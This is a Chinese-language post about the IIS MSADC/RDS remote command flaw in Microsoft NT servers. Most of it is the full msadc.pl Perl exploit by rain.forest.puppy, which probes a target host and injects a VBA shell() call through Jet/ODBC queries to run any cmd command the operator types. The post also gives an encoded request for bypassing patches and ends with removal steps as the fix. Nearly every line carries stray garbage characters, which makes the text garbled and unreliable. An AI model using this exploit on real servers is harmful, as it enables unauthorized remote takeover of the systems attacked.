IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
> *soc!# Y 3u[5T|D' 涉及程序：
>*WT[UU Microsoft NT server
Ue U`U Kon|TeC>d 描述：
mq+<2 S 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
T+4 1, IGF25-7B 详细：
h6 Cqc}P 如果你没有时间读详细内容的话，就删除:
uMX\Y;N c:\Program Files\Common Files\System\Msadc\msadcs.dll
^y[- e9O| 有关的安全问题就没有了。
6@FGt3y Kiq[PK 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
z oZ10?ojC ;lf $)3%[ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
^xQPj6 P} 关于利用ODBC远程漏洞的描述，请参看:
J$i.^ |hE/ \ `R8s_ S http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm &/(JIWc1su 5A+r^xN 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
u,./,:O%= http://www.microsoft.com/security/bulletins/MS99-025faq.asp iH8V] % }z5u^_-m 这里不再论述。
: ZadPn56 2y V^'o) 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
BT"n;L?[ U\-=|gQ' /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
PQP|V>g 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
'oF
XNO [F
24xC+ |IDZMd0 #将下面这段保存为txt文件，然后: "perl -x 文件名"
Mk}*ze0% i&j]FX6q #!perl
gv,1 CK #
=3dd1n;8> # MSADC/RDS 'usage' (aka exploit) script
5]zH!>-F #
p3 V?n[/} # by rain.forest.puppy
N v6=[_D #
~l]g4iEp # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
US\h,J\Ju # beta test and find errors!
d<[L^s9 \- 8aTF use Socket; use Getopt::Std;
I.it4~]H getopts("e:vd:h:XR", \%args);
L;v.X' f *t_Q5&3L+U print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
b4 Pa5 w a\}`
f=T if (!defined $args{h} && !defined $args{R}) {
gv1y%(`|n( print qq~
.-)kIFMi Usage: msadc.pl -h <host> { -d <delay> -X -v }
gBOF#"- -h <host> = host you want to scan (ip or domain)
A=wG};%_ -d <seconds> = delay between calls, default 1 second
I3u)y|Y= -X = dump Index Server path table, if available
3Hi8=* -v = verbose
)KOIf{ -e = external dictionary file for step 5
\\;y W~ k"6 && Or a -R will resume a command session
ZEso2|
l#Vg=zrT ~; exit;}
J~C=o(r ij 1YV2v $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
R2JPL vs if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
r1 b"ta if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
;=WwJ Np~ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
u:^sEk"Lk' $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
^PUB~P / if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
!j}L-1*{ l J |vg<[ if (!defined $args{R}){ $ret = &has_msadc;
f Xh{ _> die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
P3nBxw" zO@>)@~ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
u60RuP& . "cmd /c ";
M6GiohI_"P $in=<STDIN>; chomp $in;
Mmg~Fn $command="cmd /c " . $in ;
S&Q Xf<v 7C R6 ew~ if (defined $args{R}) {&load; exit;}
>P]gjYN ( 4# iLs print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
a$Hq<~46 &try_btcustmr;
lQEsa45 /4@
[^}x print "\nStep 2: Trying to make our own DSN...";
(][-()YV &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
XUnw*3tPJ G4&?O_\; print "\nStep 3: Trying known DSNs...";
=3`| D0E &known_dsn;
9M5W 4& # sxv?r print "\nStep 4: Trying known .mdbs...";
vn!3Z! dm( &known_mdb;
]"~
x i,S1|R if (defined $args{e}){
crN*eFeW print "\nStep 5: Trying dictionary of DSN names...";
-m@PqJF^ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
lQ BE q"7$ *,IK4F6>: print "Sorry Charley...maybe next time?\n";
MTKNIv| exit;
lRNm
&3:- E
AZX ##############################################################################
!Q*w] DR,7rT{$ sub sendraw { # ripped and modded from whisker
,aa
4Kh sleep($delay); # it's a DoS on the server! At least on mine...
cpALs1j: my ($pstr)=@_;
^9 ]iUx socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
&GkD5b die("Socket problems\n");
L`X5\D'X if(connect(S,pack "SnA4x8",2,80,$target)){
CWocb=E select(S); $|=1;
,.}%\GhY print $pstr; my @in=<S>;
W]bgW Kd select(STDOUT); close(S);
x^1d 9Z return @in;
^i_+ugJX } else { die("Can't connect...\n"); }}
R RV%g ! tfZ@4%' ##############################################################################
g(;OUkj$Zp w;j<$<4=7 sub make_header { # make the HTTP request
=B5{ 7g\ my $msadc=<<EOT
4d c m)Xr POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
DBL@Mp[< User-Agent: ACTIVEDATA
{Dk!<w I) Host: $ip
^D6TeH Content-Length: $clen
`:*2TLxIk Connection: Keep-Alive
=y _KL nc\`y,>l8 ADCClientVersion:01.06
JJ%@m; ~ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
tx~,7TMS/ W ,6q1 --!ADM!ROX!YOUR!WORLD!
7FcZ xu\ Content-Type: application/x-varg
7;q0'_G Content-Length: $reqlen
nMzt_Il I 3WF]%P%
EOT
S1Y ,5,} ; $msadc=~s/\n/\r\n/g;
pJ}U'*Z2 return $msadc;}
I F6$ @Q S8dfe~ |7: ##############################################################################
x )dLY .'| <M1*gz sub make_req { # make the RDS request
OP=b rLGu0 my ($switch, $p1, $p2)=@_;
[;,E c w^ my $req=""; my $t1, $t2, $query, $dsn;
xIm2t~io "=s}xAM|A if ($switch==1){ # this is the btcustmr.mdb query
[k\VUg:P $query="Select * from Customers where City=" . make_shell();
b'+Wf#.]f0 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
}|| p#R@? $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
W`9{RZ ' Q2ne]MI elsif ($switch==2){ # this is general make table query
e8 ]CB $query="create table AZZ (B int, C varchar(10))";
q;nAq% $dsn="$p1";}
%/w-.?bX &%j`WF4p elsif ($switch==3){ # this is general exploit table query
{l$)X $query="select * from AZZ where C=" . make_shell();
) u Hat# $dsn="$p1";}
ASoBa& vX =<H ekiYM elsif ($switch==4){ # attempt to hork file info from index server
<tbs,lcw; $query="select path from scope()";
4h!yh2c.. $dsn="Provider=MSIDXS;";}
;~:Z~8+{c P?>:YY53 elsif ($switch==5){ # bad query
,)xtl`fc $query="select";
;hq_}. $dsn="$p1";}
V)~b+D B"> Ko3 $t1= make_unicode($query);
`;}qjm0a $t2= make_unicode($dsn);
JJ) $req = "\x02\x00\x03\x00";
;q9Y%* $req.= "\x08\x00" . pack ("S1", length($t1));
dLH@,EKl) $req.= "\x00\x00" . $t1 ;
1VFC K& $req.= "\x08\x00" . pack ("S1", length($t2));
+0[H `5-^ $req.= "\x00\x00" . $t2 ;
` $1A;wg< $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
@*xP A return $req;}
(G+)v[f ,/p+#|>C= ##############################################################################
THOYx :Nr; bz nMD sub make_shell { # this makes the shell() statement
/!Ag/SmS!9 return "'|shell(\"$command\")|'";}
X{cB%to }KUK|p5 ##############################################################################
s SKD" fI;nVRf p sub make_unicode { # quick little function to convert to unicode
]]r ;}$ my ($in)=@_; my $out;
`dX0F=Ag? for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
ux^rF return $out;}
Da[#X`Kp$ VSUWX 1k4% ##############################################################################
u{uqK7]+ ]:F !h2 sub rdo_success { # checks for RDO return success (this is kludge)
E]v ox~xK> my (@in) = @_; my $base=content_start(@in);
_M8'~$Sg if($in[$base]=~/multipart\/mixed/){
imM #z y return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Zp{K_ec{ return 0;}
k f Y; % =K [C ##############################################################################
N?rE:0SJ EFtn !T sub make_dsn { # this makes a DSN for us
- 8"K|ev my @drives=("c","d","e","f");
{l/`m.Z print "\nMaking DSN: ";
6j1C=O@S foreach $drive (@drives) {
;=P!fvHk print "$drive: ";
{ **W7\h my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
x5g&?2[ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
QaE! ?R . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
#t Pc<p6m $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
Rc9>^>w return 0 if $2 eq "404"; # not found/doesn't exist
]T5\LNyN if($2 eq "200") {
2V; Dn$q foreach $line (@results) {
_'y`hKeI[ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
7nxH>.,Q> } return 0;}
nRX'J5Q
m< N2j^fZd_ ##############################################################################
VL"Cxs
b $
8R sub verify_exists {
)iC@n8f7o my ($page)=@_;
X< W${L$G my @results=sendraw("GET $page HTTP/1.0\n\n");
)B+zv,#q return $results[0];}
x@)cj zFYzus`> ##############################################################################
=%I;Y& K >^,?0HP sub try_btcustmr {
p74Nd4U$s my @drives=("c","d","e","f");
1x##b [LC my @dirs=("winnt","winnt35","winnt351","win","windows");
&>Z;>6J, N?, foreach $dir (@dirs) {
e=# D1 print "$dir -> "; # fun status so you can see progress
e*I92 foreach $drive (@drives) {
HHgv, bC! print "$drive: "; # ditto
g#1 Y4 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
mL#$8wUdt{ $reqlenlen=length( "$reqlen" );
`d/* sX?k $clen= 206 + $reqlenlen + $reqlen;
\?Xoa"^ ZifDU@J$t my @results=sendraw(make_header() . make_req(1,$drive,$dir));
o 1{3[=G if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
f }.t else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
#
eFdu Ne3YhCC > ##############################################################################
<w d;W;B y>T> sub odbc_error {
&b%2Jx[+ my (@in)=@_; my $base;
8NNs_~+x} my $base = content_start(@in);
r/)ZKO, if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
R S>qP;V*- $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
{+5Ud#\y $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
5xj8 ^W^G9 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
"|,KXv') return $in[$base+4].$in[$base+5].$in[$base+6];}
0#m=76[b print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
(m2_ Eh; print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
Ff
=%eg] $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
VT~%);.# x",ktE>9 ##############################################################################
1TGE>HG >b:5&s\9 sub verbose {
Z@*!0~NH=4 my ($in)=@_;
~o K0k_{~ return if !$verbose;
<{YzmN\Z print STDOUT "\n$in\n";}
x] R0zol JnqP`kYbTE ##############################################################################
0$=U\[og QOPh3+.5 sub save {
qM 2m ! my ($p1, $p2, $p3, $p4)=@_;
*]Cyc < open(OUT, ">rds.save") || print "Problem saving parameters...\n";
(4C)]
RHQ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
!\Cu J5U close OUT;}
Wy M2h $ S 2
/* ##############################################################################
^Q+z^zlC q['3M <q sub load {
F|oyrG my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
]ab q$Y' open(IN,"<rds.save") || die("Couldn't open rds.save\n");
lh XD9ed @p=<IN>; close(IN);
( wxi! $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
XgeUS;qtta $target= inet_aton($ip) || die("inet_aton problems");
SD@ 0X[ print "Resuming to $ip ...";
gv(MX
;B# $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
7;r3Bxa
Q if($p[1]==1) {
g
4 $ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
+t
Prqv"( $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
jzWgyI1b my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
^4Se=Hr
z2 if (rdo_success(@results)){print "Success!\n";}
F/:%YR; else { print "failed\n"; verbose(odbc_error(@results));}}
Y$./!lVY elsif ($p[1]==3){
gnb+i` if(run_query("$p[3]")){
_t4(H))]vG print "Success!\n";} else { print "failed\n"; }}
_oefp*iWS elsif ($p[1]==4){
s%5XBI if(run_query($drvst . "$p[3]")){
FBzsM7]j print "Success!\n"; } else { print "failed\n"; }}
iex]J@=e exit;}
zx+}>(U\U [`bK {Dq2 ##############################################################################
2<'ol65/c \DD4=XGA sub create_table {
A\E ))b 9+ my ($in)=@_;
Z;0<k;#T(p $reqlen=length( make_req(2,$in,"") ) - 28;
)g]A
'A= $reqlenlen=length( "$reqlen" );
|;p.!FO $clen= 206 + $reqlenlen + $reqlen;
>dwWqcP my @results=sendraw(make_header() . make_req(2,$in,""));
WK#%G return 1 if rdo_success(@results);
+-5YmN' my $temp= odbc_error(@results); verbose($temp);
iorQ /( return 1 if $temp=~/Table 'AZZ' already exists/;
E7B?G3 |z3 return 0;}
z|(<Co8#. #)S&Z><< ##############################################################################
z XU r34jF wqzpFPk( sub known_dsn {
]z# Ita; # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
$ma@z0%8} my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
2)QZYgfh "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
Ah r "banner", "banners", "ads", "ADCDemo", "ADCTest");
|S:erYE,G TDy$Mv=y foreach $dSn (@dsns) {
<HpUP!q8v print ".";
jL'R4z next if (!is_access("DSN=$dSn"));
=OTu8_ d0t if(create_table("DSN=$dSn")){
w:=:D=xH2 print "$dSn successful\n";
m6 gMVon if(run_query("DSN=$dSn")){
cXYE !( print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
oMoco tQ;$ print "Something's borked. Use verbose next time\n";}}} print "\n";}
S&J5QZjC .>1Y-NM ##############################################################################
HT m`_}G9 tv:
mjS sub is_access {
2j ]uB0 my ($in)=@_;
?<M x* l $reqlen=length( make_req(5,$in,"") ) - 28;
%<U0 $reqlenlen=length( "$reqlen" );
_E/ $clen= 206 + $reqlenlen + $reqlen;
2dbn~j0 my @results=sendraw(make_header() . make_req(5,$in,""));
p+7#`iICE my $temp= odbc_error(@results);
f*p=j(sF verbose($temp); return 1 if ($temp=~/Microsoft Access/);
3'SN0VL return 0;}
t=jG $A 7>AM zNj ##############################################################################
]x bMMax 4jjo%N sub run_query {
W?[
C
au- my ($in)=@_;
sJ5#T iX $reqlen=length( make_req(3,$in,"") ) - 28;
15Jc PDV $reqlenlen=length( "$reqlen" );
?H_>?,^ $clen= 206 + $reqlenlen + $reqlen;
<vxTfE@>bp my @results=sendraw(make_header() . make_req(3,$in,""));
f=7[GZoD n return 1 if rdo_success(@results);
(io[O?te my $temp= odbc_error(@results); verbose($temp);
S/YHT)0x[ return 0;}
^a1k"|E?f 6#a 82_ ##############################################################################
@,LU!#y( AWA J*6Z sub known_mdb {
)XoMOz my @drives=("c","d","e","f","g");
n{M-t@r7 my @dirs=("winnt","winnt35","winnt351","win","windows");
O.-A)S@ my $dir, $drive, $mdb;
b%d, X-3 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
^E~1%Md. oqg +<m # this is sparse, because I don't know of many
]c]^(C my @sysmdbs=( "\\catroot\\icatalog.mdb",
%CU wD "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
dh%DALZ8t "\\system32\\certmdb.mdb",
6:?mz ;oP "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
ZQ' |B / wkrfYRs my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
c}H}fyu%n "\\cfusion\\cfapps\\forums\\forums_.mdb",
#Kx @:I "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
K1&t>2=% "\\cfusion\\cfapps\\security\\realm_.mdb",
RPjw12Ly "\\cfusion\\cfapps\\security\\data\\realm.mdb",
w?Cho</Xu "\\cfusion\\database\\cfexamples.mdb",
cxx8I "\\cfusion\\database\\cfsnippets.mdb",
f >&*%[fw "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
7 ;2>kgf~ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
0w vAtK|Q "\\cfusion\\brighttiger\\database\\cleam.mdb",
~&"'>C# "\\cfusion\\database\\smpolicy.mdb",
][XCpJ)8 "\\cfusion\\database\cypress.mdb",
.
+,{|){c "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
+6^hp-G7 "\\website\\cgi-win\\dbsample.mdb",
t[A A= "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
O[p c$Pi "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
ZkNet>9 ); #these are just
PI"6d)S2 foreach $drive (@drives) {
nHU}OGzW foreach $dir (@dirs){
_94R8?\_V7 foreach $mdb (@sysmdbs) {
$4^h>x print ".";
bw! *=< if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
&!FI!T
-WH print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
R 0G!5>1i if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
BJ5^-| print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
&2n 5m& } else { print "Something's borked. Use verbose next time\n"; }}}}}
_B vGEM`o K~fWZT3] foreach $drive (@drives) {
ZmJ<FF4 foreach $mdb (@mdbs) {
R3.8Dr 0 f print ".";
'aS: Azb if(create_table($drv . $drive . $dir . $mdb)){
A7T(p7pP print "\n" . $drive . $dir . $mdb . " successful\n";
x&$8;2 &. if(run_query($drv . $drive . $dir . $mdb)){
1O1MB&5% print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
_{GD\Ai _W } else { print "Something's borked. Use verbose next time\n"; }}}}
3{TE6&HIa }
8~O0P= pr1kYMrqri ##############################################################################
$&i8/pD
y(Em+YTD sub hork_idx {
c_aj-`BKp print "\nAttempting to dump Index Server tables...\n";
gf^y3F[\ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
7&(h_} Z $reqlen=length( make_req(4,"","") ) - 28;
^S(QvoaQ $reqlenlen=length( "$reqlen" );
+F>erdV $clen= 206 + $reqlenlen + $reqlen;
kPO +M~+n my @results=sendraw2(make_header() . make_req(4,"",""));
s%A?B 8, if (rdo_success(@results)){
c<{~j~+ my $max=@results; my $c; my %d;
<@y(ikp> for($c=19; $c<$max; $c++){
]@CXUa,>a $results[$c]=~s/\x00//g;
mILCC} Kt $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
&gI*[5v
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
` 9A`pC $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
lbh7`xCR $d{"$1$2"}="";}
& <cP{aBa foreach $c (keys %d){ print "$c\n"; }
^KV:.up6 } else {print "Index server doesn't seem to be installed.\n"; }}
Bp4#"y2
lk=[Xo ##############################################################################
di<g" 8 (@=h(u . sub dsn_dict {
M7YbRl open(IN, "<$args{e}") || die("Can't open external dictionary\n");
?ea5k*#a while(<IN>){
n>)h9q S $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
H)Z$j&S{ next if (!is_access("DSN=$dSn"));
*g4Uo{ if(create_table("DSN=$dSn")){
$ -
Y8@bw print "$dSn successful\n";
.g.g lQ_~= if(run_query("DSN=$dSn")){
(R9"0WeF print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
7_eV.'h print "Something's borked. Use verbose next time\n";}}}
Qz$Wp* print "\n"; close(IN);}
z$VVt ?K kc2
8Q2 ##############################################################################
2/x~w~3U ('.I)n sub sendraw2 { # ripped and modded from whisker
Ij9=J1c4 sleep($delay); # it's a DoS on the server! At least on mine...
{
3 "jn my ($pstr)=@_;
!|cM<}TF, socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
ciW;sK8 die("Socket problems\n");
BLm}mb#/{ if(connect(S,pack "SnA4x8",2,80,$target)){
%2beo H' print "Connected. Getting data";
46H@z =5 open(OUT,">raw.out"); my @in;
W~s:SN select(S); $|=1; print $pstr;
I,r0K] while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
-tp3qi close(OUT); select(STDOUT); close(S); return @in;
6HH:K0j 3' } else { die("Can't connect...\n"); }}
?}C8_I|4~ R0F&!y !B ##############################################################################
aED73:b Q{
{ = sub content_start { # this will take in the server headers
'a~F'FN$ my (@in)=@_; my $c;
^xr & E for ($c=1;$c<500;$c++) {
Tq8U5#NF if($in[$c] =~/^\x0d\x0a/){
xSq+>, b if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
V]Uc@7S/ else { return $c+1; }}}
G%CS1# return -1;} # it should never get here actually
V! .I> tNAmA ##############################################################################
V)I Tk \ |w>d]e A5 sub funky {
a24(9(yh my (@in)=@_; my $error=odbc_error(@in);
GMpg+rK if($error=~/ADO could not find the specified provider/){
"a<:fEsSE print "\nServer returned an ADO miscofiguration message\nAborting.\n";
D$`$4mX@hP exit;}
? O9| if($error=~/A Handler is required/){
QO4eDSW print "\nServer has custom handler filters (they most likely are patched)\n";
S4!B;,?AxN exit;}
.la_u8A] if($error=~/specified Handler has denied Access/){
p`'3Il3 print "\nServer has custom handler filters (they most likely are patched)\n";
qGzF@p(p 8 exit;}}
}'uV{$ k?_ uv ##############################################################################
6s$h _$[X p<B*)1Tj0 sub has_msadc {
R !>SN0 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
$$'[ % my $base=content_start(@results);
\WZSY||C|_ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
P+rD ln { return 0;}
Gwm YhG<{ o\nFSG kn ########################
Z{_YH7_ 5+/XO>P1m| E .CG 解决方案：
.gCun_td# 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
&#'.I0n 2、移除web 目录: /msadc
